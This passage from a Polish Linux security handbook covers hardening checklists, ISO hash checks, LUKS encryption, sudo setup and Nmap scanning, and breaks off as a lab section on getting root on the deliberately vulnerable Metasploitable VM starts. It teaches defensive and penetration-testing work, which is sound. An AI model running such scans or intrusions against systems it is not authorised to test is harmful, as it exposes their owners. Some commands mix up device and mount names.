- Integralność nośników instalacyjnych, takich jak dyski CD-ROM/DVD czy obrazy ISO, powinna być zweryfikowana przy użyciu sumy kontrolnej.
- Przy pierwszej instalacji systemu należy użyć minimalnej konfiguracji niezbędnej do działania serwera.
- Dobłą praktyką jest tworzenie oddzielnych systemów plików dla katalogów */home* i */tmp*.
- Dobłą praktyką jest instalowanie na serwerze tylko minimalnej ilości oprogramowania niezbędnego do poprawnego działania serwera, co pozwala na zminimalizowanie ryzyka istnienia podatności na ataki czy luk w zabezpieczeniach.
- Jądro systemu Linux i oprogramowanie instalowane na serwerze powinno być zaktualizowane do najnowszych dostępnych wersji.

### Uruchamianie oraz dyski

Przygotowując listę kontrolną bezpieczeństwa systemu, warto wziąć pod uwagę m.in. następujące rzeczy:

- Partycje dysków powinny zostać zaszyfrowane przy użyciu takich metod jak LUKS (ang. *Linux Unified Key Setup*).
- Dostęp do BIOS-u powinien zostać zabezpieczony za pomocą odpowiednio skonfigurowanego hasła.
- Liczba urządzeń, z których można uruchomić system, powinna zostać ograniczona do niezbędnego minimum (np. tylko dysk twardy).
- Dostęp do programu ładującego działającego w trybie jednego użytkownika (ang. *single user mode*) powinien być zabezpieczony za pomocą hasła.

## Sieć i usługi

Przygotowując listę kontrolną bezpieczeństwa systemu, weź pod uwagę m.in. następujące rzeczy:

- Sprawdź usługi działające na serwerze, przeprowadzając skanowanie otwartych portów sieciowych.
- Użyj zapory sieciowej, takiej jak iptables/nftables, aby ograniczyć dostęp do usług w zależności od potrzeb.
- Szyfruj wszystkie dane przesyłane przez sieć.
- Unikaj korzystania z usług takich jak FTP, Telnet i Rlogin/Rsh.
- Wyłącz wszystkie niepotrzebne usługi.
- Korzystaj ze scentralizowanej usługi uwierzytelniania.

## Wykrywanie włamań i ataki DoS

Przygotowując listę kontrolną bezpieczeństwa systemu, weź pod uwagę m.in. następujące rzeczy:

- Ważne pliki powinny być na bieżąco monitorowane przy użyciu narzędzi do sprawdzania integralności plików, takich jak AIDE, Samhain czy AFICK.
- Używaj programu antywirusowego, takiego jak ClamAV, aby chronić system przed złośliwymi skryptami.
- Skonfiguruj usługę logowania tak, aby dzienniki zdarzeń systemowych były zapisywane i przechowywane na zdalnym komputerze, co zabezpieczy je przed usunięciem oraz ułatwi wykrywanie i analizę incydentów bezpieczeństwa oraz archiwizację dzienników zdarzeń.
- Używaj narzędzi pozwalających na zapobieganie atakom siłowym na mechanizmy uwierzytelniania użytkowników.

## Audyt i dostępność systemu

Przygotowując listę kontrolną bezpieczeństwa systemu, weź pod uwagę m.in. następujące rzeczy:

- Częste przeglądanie dzienników zdarzeń pozwala na szybkie wykrywanie i monitorowanie podejrzanych aktywności użytkowników.
- Skonfiguruj usługę `auditd`, która pozwala na audyt zmian przeprowadzanych w systemie.
- Sprawdź, czy kopie zapasowe systemu i danych są tworzone zgodnie z planem, oraz upewnij się, że z wykonanej kopii zapasowej rzeczywiście można przywrócić dane.

## Jak to działa...

Odpowiednie przygotowanie i wdrożenie list kontrolnych bezpieczeństwa minimalizuje ryzyko związane z zagrożeniami serwerów linuksowych i pomaga chronić Twoje dane przed atakami hakerów.

# Sprawdzanie integralności nośnika instalacyjnego za pomocą funkcji skrótu

Za każdym razem, gdy pobierasz plik obrazu ISO dowolnej dystrybucji systemu Linux, powinien on być sprawdzany pod kątem poprawności i bezpieczeństwa. Można to zrobić poprzez wygenerowanie skrótu MD5 pobranego pliku obrazu, a następnie porównanie go z oryginalną wartością skrótu publikowaną przez organizację dostarczającą plik obrazu.

Takie rozwiązanie pozwala na sprawdzenie integralności pobranego pliku. Jeżeli oryginalny plik został sfałszowany lub w jakikolwiek inny sposób zmodyfikowany, możemy to wykryć za pomocą porównania wartości skrótów MD5. Im większy rozmiar pliku, tym potencjalnie większe możliwości wprowadzenia w nim złośliwych zmian. W przypadku bardzo ważnych plików, takich jak obrazy instalacyjne systemu operacyjnego, powinieneś zawsze sprawdzać integralność plików, obliczając wartość skrótu pobranego pliku i porównując z wartością opublikowaną przez autora.

## Przygotuj się

Polecenie `md5sum` jest domyślnie dostępne w większości dystrybucji systemu Linux, więc nie musisz go osobno instalować.

## Jak to zrobić...

Wykonaj następujące czynności:

1. Otwórz okno terminala i przejdź do katalogu zawierającego pobrany plik ISO.

Ponieważ w systemie Linux wielkość liter ma znaczenie, upewnij się, że poprawnie wpisałeś nazwę folderu. Na przykład *Pobrane* i *pobrane* to z punktu widzenia systemu Linux dwa różne katalogi.

2. Po przejściu do katalogu z obrazem ISO wykonaj następujące polecenie:

```
md5sum ubuntu-filename.iso
```

Polecenie `md5sum` wyświetli obliczoną wartość skrótu MD5 w jednym wierszu z nazwą pliku, tak jak to zostało pokazane poniżej:

```
8044d756b7f00b695ab8dce07dce43e5 ubuntu-filename.iso
```

Teraz można porównać obliczoną wartość skrótu MD5 z wartością podaną na stronie UbuntuHashes (<https://help.ubuntu.com/community/UbuntuHashes>). Po otwarciu strony UbuntuHashes wystarczy skopiować wcześniej obliczoną wartość skrótu i wkleić w polu wyszukiwania na stronie.

## Jak to działa...

Jeżeli obliczona wartość skrótu i wartość podana na stronie UbuntuHashes są identyczne, wówczas mamy pewność, że pobrany plik nie jest uszkodzony. W przypadku gdy wartości skrótów nie pasują do siebie, istnieje możliwość, że plik został sfałszowany lub uszkodzony. W takiej sytuacji powinieneś ponownie pobrać plik. Jeżeli problem nadal występuje, powinieneś zgłosić go do administratora serwera.

## Zobacz również

Jeżeli nie chcesz liczyć skrótów z poziomu konsoli, możesz skorzystać z jednego z wielu programów wyposażonych w graficzny interfejs użytkownika.

Czasami obliczanie wartości skrótów bezpośrednio z poziomu wiersza poleceń może być niewygodne albo po prostu niepraktyczne. Aby obliczyć taki skrót, musisz znać dokładną nazwę pobranego pliku, a także nazwę folderu, w którym został zapisany, co na dłuższą metę może być nieco uciążliwe.

Rozwiązaniem może być bardzo małe i proste narzędzie o nazwie **GtkHash**, które zostało wyposażone w wygodny interfejs GUI (ang. *Graphic User Interface*). Program można pobrać ze strony <http://gtkhash.sourceforge.net/> albo zainstalować za pomocą następującego polecenia:

```
sudo apt-get install gtkhash
```

## Szyfrowanie dysków z użyciem mechanizmu LUKS

W wielu firmach, organizacjach i urzędach państwowych do zabezpieczania wrażliwych i poufnych informacji, takich jak dane osobowe pracowników i klientów, ważne pliki, projekty, stosuje się szyfrowanie dysków. W systemie Linux dostępnych jest wiele mechanizmów kryptograficznych, które mogą być używane do ochrony danych na urządzeniach fizycznych, takich jak dyski twarde czy nośniki wymienne. Jednym z takich rozwiązań jest szyfrowanie dysków z użyciem **mechanizmu LUKS** (ang. *Linux Unified Key Setup*), który pozwala na szyfrowanie całych partycji systemu Linux.

Kilka najważniejszych cech mechanizmu LUKS:

- Pozwala na szyfrowanie całych urządzeń blokowych; LUKS doskonale nadaje się do ochrony danych na nośnikach wymiennych lub dyskach laptopów.
- Wykorzystuje sterownik device-mapper z jądra systemu Linux.
- Może wymuszać stosowanie silnych haseł, co pomaga chronić system przed atakami słownikowymi.

## Przygotuj się

Aby opisany poniżej proces zadziałał poprawnie, podczas instalacji systemu Linux powinieneś utworzyć oddzielną partycję, która zostanie zaszyfrowana za pomocą mechanizmu LUKS.

Konfiguracja szyfrowania mechanizmu LUKS przy użyciu kroków podanych poniżej spowoduje usunięcie wszystkich danych z szyfrowanej partycji. Z tego powodu przed rozpoczęciem korzystania z LUKS-a, upewnij się, że posiadasz kopię zapasową szyfrowanej partycji zapisaną na dysku zewnętrznym.

## Jak to zrobić...

Przygodę z szyfrowaniem zaczniemy od ręcznego zaszyfrowania wybranych katalogów. Aby to zrobić, powinieneś wykonać następujące kroki:

1. Zainstaluj pakiet `cryptsetup` za pomocą polecenia pokazanego poniżej. `Cryptsetup` jest narzędziem używanym do tworzenia zaszyfrowanych systemów plików:

```
apt-get install cryptsetup
```

Wyniki wykonania tego polecenia zostały pokazane na rysunku poniżej:

```
root@dev:~# apt-get install cryptsetup
Reading package lists... Done
Building dependency tree
Reading state information... Done
Suggested packages:
  busybox
The following NEW packages will be installed:
  cryptsetup
0 upgraded, 1 newly installed, 0 to remove and 384 not upgraded.
Need to get 79.1 kB of archives.
After this operation, 315 kB of additional disk space will be used.
WARNING: The following packages cannot be authenticated!
  cryptsetup
Install these packages without verification [y/N]? █
```

2. Zasyfruj partycję `/dev/sdb1`, która w naszym przykładzie jest urządzeniem przenośnym. Aby zaszyfrować całą partycję, wpisz następujące polecenie:

```
cryptsetup -y -v luksFormat /dev/sdb1
```

Oto wynik działania tego polecenia:

```
root@dev:~# cryptsetup -y -v luksFormat /dev/sdb1

WARNING!
=====
This will overwrite data on /dev/sdb1 irrevocably.

Are you sure? (Type uppercase yes): YES
Enter LUKS passphrase:
Verify passphrase:
Command successful.
root@dev:~# █
```



Wykonanie tego polecenia powoduje zainicjowanie partycji oraz ustawienie hasła. Upewnij się, że będziesz pamiętał ustawione hasło.

3. Teraz otwórz nowo utworzone, zaszyfrowane urządzenie, tworząc odpowiednie mapowanie:

```
root@dev:~# cryptsetup luksOpen /dev/sdb1 backup2
Enter passphrase for /dev/sdb1:
root@dev:~#
```

4. Sprawdź, czy zmapowane urządzenie jest dostępne:

```
ls -l /dev/mapper/backup2
```

Wyniki działania tego polecenia jest taki:

```
root@dev:~# ls -l /dev/mapper/backup2
lrwxrwxrwx 1 root root 7 Apr 22 05:31 /dev/mapper/backup2 -> ../dm-0
root@dev:~#
```

5. Sprawdź status zmapowanego urządzenia, wykonując następujące polecenie:

```
root@dev:~# cryptsetup -v status backup2
/dev/mapper/backup2 is active.
  type:          LUKS1
  cipher:        aes-cbc-essiv:sha256
  keysize:       256 bits
  device:        /dev/sdb1
  offset:        4096 sectors
  size:          31291392 sectors
  mode:          read/write
Command successful.
root@dev:~#
```

6. Wyświetl nagłówek LUKS-a. Aby to zrobić, wykonaj następujące polecenie:

```
root@dev:~# cryptsetup luksDump /dev/sdb1
LUKS header information for /dev/sdb1

Version:          1
Cipher name:      aes
Cipher mode:      cbc-essiv:sha256
Hash spec:        sha1
Payload offset:   4096
MK bits:          256
MK digest:        a7 9a c2 e3 59 b9 a4 e5 9d 18 92 2c cb 53 06 7a e6 4c c0 82
MK salt:          03 bb cc d2 a4 63 d9 9e 96 c3 09 41 14 6d 6a 17
                  86 14 92 63 46 2f b0 25 d4 18 9a fe 4d e1 86 49
MK iterations:    36000
UUID:             5327ef7e-511b-4174-9550-1a94849acbdcc

Key Slot 0: ENABLED
  Iterations:      144037
  Salt:            65 cf 30 d3 4f e1 cc e2 7b 99 a8 f8 7b 1d aa 0c
                  86 38 f3 17 f4 56 19 b8 85 04 ea 0c b0 86 b5 03
  Key material offset: 8
  AF stripes:     4000
Key Slot 1: DISABLED
Key Slot 2: DISABLED
Key Slot 3: DISABLED
Key Slot 4: DISABLED
Key Slot 5: DISABLED
Key Slot 6: DISABLED
Key Slot 7: DISABLED
```

7. Następnie zapisz całe dostępne miejsce na urządzeniu `/dev/mapper/backup2` zerami. Możesz to zrobić przy użyciu następującego polecenia:

```
root@dev:~# pv -tpreb /dev/zero | dd of=/dev/mapper/backup2 bs=128M
dd: writing '/dev/mapper/backup2': No space left on device
14.9GB 0:51:57 [ 4.9MB/s] [ <=> ]
0+122233 records in
0+122232 records out
16021192704 bytes (16 GB) copied, 3125.13 s, 5.1 MB/s
root@dev:~#
```

Ponieważ wykonanie polecenia `dd` może zająć wiele godzin, używamy tutaj polecenia `pv` do monitorowania postępów działania.

8. Teraz utwórz system plików:

```
mkfs.ext4 /dev/mapper/backup2
```

Wyniki działania tego polecenia pokazano poniżej:

```
root@dev:~# mkfs.ext4 /dev/mapper/backup2
mke2fs 1.42 (29-Nov-2011)
Filesystem label=
OS type: linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
Stride=0 blocks, Stripe width=0 blocks
979200 inodes, 3911424 blocks
195571 blocks (5.00%) reserved for the super user
First data block=0
Maximum filesystem blocks=4005560320
120 block groups
32768 blocks per group, 32768 fragments per group
8160 inodes per group
Superblock backups stored on blocks:
    32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208

Allocating group tables: done
Writing inode tables: done
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
```

9. Następnie zamontuj nowy system plików i upewnij się, że jest dostępny:

```
root@dev:~# mkdir /luksbackup
root@dev:~# mount /dev/mapper/backup2 /luksbackup/
root@dev:~# df -H
Filesystem      Size  Used Avail Use% Mounted on
/dev/sda1       7.8G  2.6G  4.9G  35% /
udev            251M  4.1k  251M   1% /dev
tmpfs           104M  775k  103M   1% /run
none            5.3M   0    5.3M   0% /run/lock
none            260M  205k  259M   1% /run/shm
/dev/mapper/backup2 16G   40M   15G   1% /luksbackup
```

```

root@dev:~# cd /luksbackup/
root@dev:/luksbackup# ls -l
total 16
drwx----- 2 root root 16384 Apr 22 07:12 lost+found
root@dev:/luksbackup#

```

Gratulacje! Udało Ci się utworzyć zaszyfrowaną partycję. Teraz możesz bezpiecznie przechowywać na niej wszystkie swoje dane, nawet jeżeli komputer jest wyłączony.

## Co dalej?

Wykonaj następujące polecenia, aby odmontować zaszyfrowaną partycję i zabezpieczyć na niej dane:

```

umount /backup2
cryptsetup luksClose backup

```

Aby ponownie zamontować zaszyfrowaną partycję, należy wykonać następujące polecenia:

```

cryptsetup luksOpen /dev/xvdc backup2
mount /dev/mapper/backup2 /backup2
df -H
mount

```

```

root@dev:~# cryptsetup luksOpen /dev/sdb1 backup2
Enter passphrase for /dev/sdb1:
root@dev:~# mount /dev/mapper/backup2 /luksbackup/
root@dev:~# df -H

```

Filesystem	Size	Used	Avail	Use%	Mounted on
/dev/sda1	7.8G	2.6G	4.9G	35%	/
udev	251M	4.1k	251M	1%	/dev
tmpfs	104M	775k	103M	1%	/run
none	5.3M	0	5.3M	0%	/run/lock
none	260M	205k	259M	1%	/run/shm
/dev/mapper/backup2	16G	40M	15G	1%	/luksbackup

```

root@dev:~# mount
/dev/sda1 on / type ext4 (rw,errors=remount-ro)
proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
none on /sys/fs/fuse/connections type fusectl (rw)
none on /sys/kernel/debug type debugfs (rw)
none on /sys/kernel/security type securityfs (rw)
udev on /dev type devtmpfs (rw,mode=0755)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=0620)
tmpfs on /run type tmpfs (rw,noexec,nosuid,size=10%,mode=0755)
none on /run/lock type tmpfs (rw,noexec,nosuid,nodev,size=5242880)
none on /run/shm type tmpfs (rw,nosuid,nodev)
gvfs-fuse-daemon on /home/tajinder/.gvfs type fuse.gvfs-fuse-daemon (rw,nosuid,nodev,user=tajinder)
/dev/mapper/backup2 on /luksbackup type ext4 (rw)

```

# Zastosowanie pliku `sudoers`

## — konfiguracja dostępu do polecenia `sudo`

Plik `sudoers` to bardzo użyteczny mechanizm systemu Linux, pozwalający administratorowi systemu na przyznanie zwiększonych uprawnień zaufanemu, regularnemu użytkownikowi, jednak bez konieczności faktycznego dzielenia się hasłem użytkownika `root`. Zamiast tego administrator musi po prostu dodać nazwę konta zwykłego użytkownika do listy `sudoers`.

Po dodaniu użytkownika do listy `sudoers` może on wykonać każde polecenie administracyjne, poprzedzając je komendą `sudo`. Następnie użytkownik zostaje poproszony o podanie własnego hasła. Po wpisaniu poprawnego hasła polecenie administracyjne zostaje wykonane w taki sam sposób jak przez użytkownika `root`.

## Przygotuj się

Ponieważ plik konfiguracyjny jest predefiniowany, a wszystkie używane polecenia są wbudowanymi poleceniami powłoki, przed rozpoczęciem tego ćwiczenia nie są potrzebne żadne dodatkowe przygotowania.

## Jak to zrobić...

Wykonaj następujące kroki:

1. Najpierw utworzysz normalne konto użytkownika, a następnie dasz mu dostęp do polecenia `sudo`. Kiedy to zrobisz, będziesz mógł użyć polecenia `sudo` z nowego konta, a następnie będziesz mógł wykonać polecenia administracyjne. Aby skonfigurować dostęp do polecenia `sudo`, powinieneś uważnie wykonać opisane dalej kroki. Najpierw zaloguj się do systemu jako użytkownik `root`, a następnie utwórz nowe konto użytkownika za pomocą polecenia `useradd`, jak pokazano na rysunku. Zamiast ciągu znaków `USERNAME` wpisz żadaną nazwę konta użytkownika:

```
# useradd USERNAME
```

2. Teraz, używając polecenia `passwd`, ustaw hasło dla nowego konta użytkownika, jak pokazano na kolejnym rysunku:

```
# passwd USERNAME
Changing password for user USERNAME.
New password:
Retype new password:
passwd: all authentication tokens updated successfully.
```

3. Następnie otwórz do edycji plik `/etc/sudoers`. Aby to zrobić, powinieneś użyć polecenia `vi sudo`, tak jak to zostało pokazane na rysunku poniżej. Reguły używania polecenia `sudo` są definiowane w pliku `/etc/sudoers`:

```
# visudo
```

4. Po otwarciu pliku w edytorze wyszukaj wiersze, które umożliwiają dostęp do polecenia `sudo` użytkownikom znajdującym się w grupie `test`:

```
## Allows people in group test to run all commands
# %test          ALL=(ALL)    ALL
```

5. Wybraną konfigurację możesz włączyć, usuwając znak komentarza (`#`) znajdujący się na początku drugiego wiersza. Po dokonaniu zmian zapisz plik i wyjdź z edytora. Następnie, używając polecenia `usermod`, dodaj wcześniej utworzone konto użytkownika do grupy `test`:

```
# usermod -aG test USERNAME
```

6. Teraz musisz sprawdzić, czy utworzona konfiguracja pozwala nowemu użytkownikowi na uruchamianie poleceń przy użyciu `sudo`.
7. Aby przełączyć się na nowo utworzone konto użytkownika, należy użyć polecenia `su`:

```
# su USERNAME -
```

8. Teraz zastosuj polecenie `groups`, aby potwierdzić, że konto użytkownika zostało dodane do grupy `test`:

```
$ groups
USERNAME test
```

Na koniec, z poziomu nowego konta, powinieneś wykonać polecenie `sudo whoami`. Ponieważ polecenie `sudo` wykonujemy na tym koncie po raz pierwszy, na ekranie zostanie wyświetlony domyślny komunikat informacyjny, a następnie zostaniesz poproszony o podanie hasła dla tego konta:

```
$ sudo whoami
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for USERNAME:
root
```

9. Ostatnim wierszem wyświetlanym na ekranie jest nazwa użytkownika, będąca wynikiem działania polecenia `whoami`. Jeżeli polecenie `sudo` zostało skonfigurowane poprawnie, na ekranie pojawi się nazwa `root`.

Udało Ci się pomyślnie skonfigurować konto użytkownika z dostępem do polecenia `sudo`. Możesz teraz zalogować się na to nowe konto i używać `sudo` do uruchamiania innych poleceń na prawach użytkownika `root`.

## Jak to działa...

Gdy zakładasz nowe konto użytkownika, nie ma ono uprawnień do uruchamiania poleceń administratora. Jednak po dodaniu do pliku `/etc/sudoers` odpowiedniego wpisu dającego nowemu użytkownikowi dostęp do polecenia `sudo` można zacząć używać tego nowego konta użytkownika do uruchamiania wszystkich poleceń na prawach użytkownika `root`.

## Co dalej?

Oto kilka dodatkowych środków, które można podjąć w celu zwiększenia bezpieczeństwa systemu.

## Ocena podatności

Ocena podatności to proces kontroli bezpieczeństwa sieci i systemów, dzięki któremu można uzyskać informacje na temat poufności, integralności i dostępności środowiska komputerowego. Pierwszym etapem oceny podatności jest rozpoznanie, mające na celu zebranie informacji o badanym środowisku. Następnie przechodzimy do skanowania w poszukiwaniu podatności, w ramach którego staramy się wyszukać wszystkie istniejące luki i słabości zabezpieczeń. Wreszcie na koniec następuje faza raportowania, w której opisujemy wszystkie znalezione podatności, grupując je według kategorii niskiego, średniego i wysokiego ryzyka.

# Skanowanie hostów za pomocą programu Nmap

Nmap, który może być używany do skanowania sieci, jest jednym z najpopularniejszych narzędzi dostępnych w systemie Linux. Nmap jest dostępny już od wielu lat i obecnie to jeden z najpopularniejszych skanerów sieciowych. Program ten jest używany przez administratorów do wyszukiwania hostów, skanowania otwartych portów, a nawet skanowania w poszukiwaniu podatności. Jeżeli planujesz przeprowadzenie oceny podatności Twojego systemu, Nmap jest z pewnością narzędziem, którego nie możesz przegapić.

## Przygotuj się

Większość współczesnych dystrybucji systemu Linux jest dostarczana z już zainstalowanym pakietem Nmap. Pomimo to Twoim pierwszym krokiem powinno zawsze być sprawdzenie, czy Nmap jest rzeczywiście zainstalowany w Twoim systemie. Możesz to zrobić za pomocą następującego polecenia:

```
nmap --version
```

Jeżeli Nmap jest zainstalowany, wyniki działania powyższego polecenia powinny być mniej więcej takie:

```
root@kali:~# nmap --version
Nmap version 7.01 ( https://nmap.org )
Platform: i586-pc-linux-gnu
Compiled with: liblua-5.2.4 openssl-1.0.2e libpcr-8.38 libpcap-1.7.4
nmap-libdnet-1.12 ipv6
```

Jeżeli Nmap nie jest jednak zainstalowany, możesz go pobrać ze strony <https://nmap.org/download.html>.

Aby szybko zainstalować pakiet Nmap w systemie Linux opartym na dystrybucji Debian, możesz użyć następującego polecenia:

```
sudo apt-get install nmap
```

## Jak to zrobić...

Aby przeskanować wybraną podsieć za pomocą programu Nmap, powinieneś wykonać następujące polecenia:

1. Najczęstszym zastosowaniem programu Nmap jest znalezienie wszystkich hostów dostępnych online w danym zakresie adresów IP. Skanowanie sieci z użyciem domyślnych ustawień skanera Nmap może jednak trochę potrwać, w zależności od rozmiarów skanowanej podsieci oraz liczby dostępnych w niej hostów.

2. Przykład takiego skanowania został pokazany poniżej:

```
root@kali:~# nmap -sP 192.168.1.0/24

Starting Nmap 7.01 ( https://nmap.org ) at 2018-04-23 01:22 EDT
Nmap scan report for www.huaweimobilewifi.com (192.168.1.1)
Host is up (0.014s latency).
MAC Address: B0:E1:7E:49:C7:30 (Unknown)
Nmap scan report for 192.168.1.100
Host is up (0.00029s latency).
MAC Address: 28:E3:47:38:14:AB (Liteon Technology)
Nmap scan report for 192.168.1.102
Host is up (0.0062s latency).
MAC Address: 00:0C:29:F6:9D:4D (VMware)
Nmap scan report for 192.168.1.101
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 33.76 seconds
```

3. Aby przeprowadzić skanowanie typu SYN hosta o wybranym adresie IP, powinieneś użyć następującego polecenia:

```
root@kali:~# nmap -sT 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2018-04-23 01:25 EDT
Nmap scan report for 192.168.1.102
Host is up (0.0022s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
```

4. Jeżeli skanowanie typu SYN nie działa poprawnie lub nie przyniosło oczekiwanych rezultatów, możesz również użyć skanowania typu Stealth:



```

root@kali:~# nmap -sS 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2018-04-23 01:26 EDT
Nmap scan report for 192.168.1.102
Host is up (0.00100s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql

```

5. Aby sprawdzić, jakie usługi działają na zdalnym komputerze, można wykonać skanowanie usług z wykrywaniem numerów wersji (ang. *Service Version Detection*) w następujący sposób:

```

root@kali:~# nmap -sV 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2018-04-23 01:29 EDT
Nmap scan report for 192.168.1.102
Host is up (0.0010s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  rmiregistry  GNU Classpath grmiregistry
1524/tcp  open  shell        Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)

```

6. Jeżeli chciałbyś wykryć system operacyjny działający na zdalnym systemie, uruchom poniższe polecenie:

```
nmap -O 192.168.1.102
```

```

root@kali:~# nmap -O 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2018-04-23 01:33 EDT
Nmap scan report for 192.168.1.102
Host is up (0.00075s latency).
Not shown: 977 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
    
```

7. Fragment przykładowych wyników działania takiego polecenia został pokazany na rysunku poniżej:

```

6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:F6:9D:4D (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.14 seconds
    
```

8. Jeżeli chciałbyś przeskanować tylko wybrany port sieciowy danego hosta, np. port 80, możesz użyć następującego polecenia:

```

root@kali:~# nmap -p 80 192.168.1.102

Starting Nmap 7.01 ( https://nmap.org ) at 2018-04-23 01:39 EDT
Nmap scan report for 192.168.1.102
Host is up (0.00071s latency).
PORT      STATE SERVICE
80/tcp    open  http
MAC Address: 00:0C:29:F6:9D:4D (VMware)

Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds
    
```

## Jak to działa...

Za pomocą skanera Nmap możemy sprawdzić, jakie usługi działają na poszczególnych portach sieciowych. Informacje takie pozwalają administratorowi sieci wyłączać niepotrzebne usługi sieciowe i zamykać nieużywane porty. W przykładach przedstawionych powyżej pokazano, jak zastosować program Nmap do skanowania portów i badania otaczającej nas sieci.

## Zobacz również

Nmap posiada także własny język skryptowy, którego możemy używać do pisania własnych skryptów. Skrypty NSE (ang. *Nmap Scripting Engine*) mogą być używane do automatyzowania procesu skanowania i zwiększania możliwości programu.

Więcej szczegółowych informacji na temat skanera Nmap znajdziesz na stronie <https://nmap.org/>.

## Zdobywanie uprawnień użytkownika root w podatnym na ataki systemie Linux

Kiedy chcesz się dowiedzieć, jak skanować i przełamywać zabezpieczenia systemu Linux, napotykasz zwykle na jeden poważny problem: gdzie można tego spróbować. Właśnie w takim celu zespół twórców pakietu Metasploit opracował i udostępnił maszynę wirtualną o nazwie Metasploitable, która została celowo wyposażona w szereg podatnych na ataki usług i programów. Dzięki temu maszyna Metasploitable jest świetną platformą do ćwiczeń w zakresie skanowania i rozwijania umiejętności przeprowadzania testów penetracyjnych. W tym podrozdziale dowiemy się, jak skanować systemy linuxowe, a także jak na podstawie otrzymanych wyników znaleźć usługę podatną na ataki. Następnie, wykorzystując taką usługę, spróbujemy uzyskać nieautoryzowany dostęp do systemu na poziomie użytkownika *root*.

## Przygotuj się

W tej sekcji będziemy używać systemu Kali Linux oraz maszyny wirtualnej Metasploitable. Pliki obrazów maszyny wirtualnej Metasploitable oraz systemu Kali Linux możesz pobrać z następujących stron:

- <http://sourceforge.net/projects/metasploitable/files/Metasploitable2/>,
- <https://images.offensive-security.com/virtual-images/kali-linux-2018.2-vm-i386.zip>.

## Jak to zrobić...

Metasploit Framework jest narzędziem typu *open source* używanym przez specjalistów ds. bezpieczeństwa na całym świecie do przeprowadzania testów penetracyjnych i wykorzystywania exploitów. Pakiet Metasploit jest domyślnie zainstalowany w systemie Kali Linux (ten system operacyjny jest najchętniej wybierany przez specjalistów).

Aby uzyskać dostęp na poziomie użytkownika *root* do podatnego na ataki systemu Linux, postępuj zgodnie z poniższymi wskazówkami:

1. W systemie Kali Linux uruchom konsolę Metasploit. Aby to zrobić, wykonaj następującą sekwencję poleceń:

```
service postgresql start
msfconsole
```

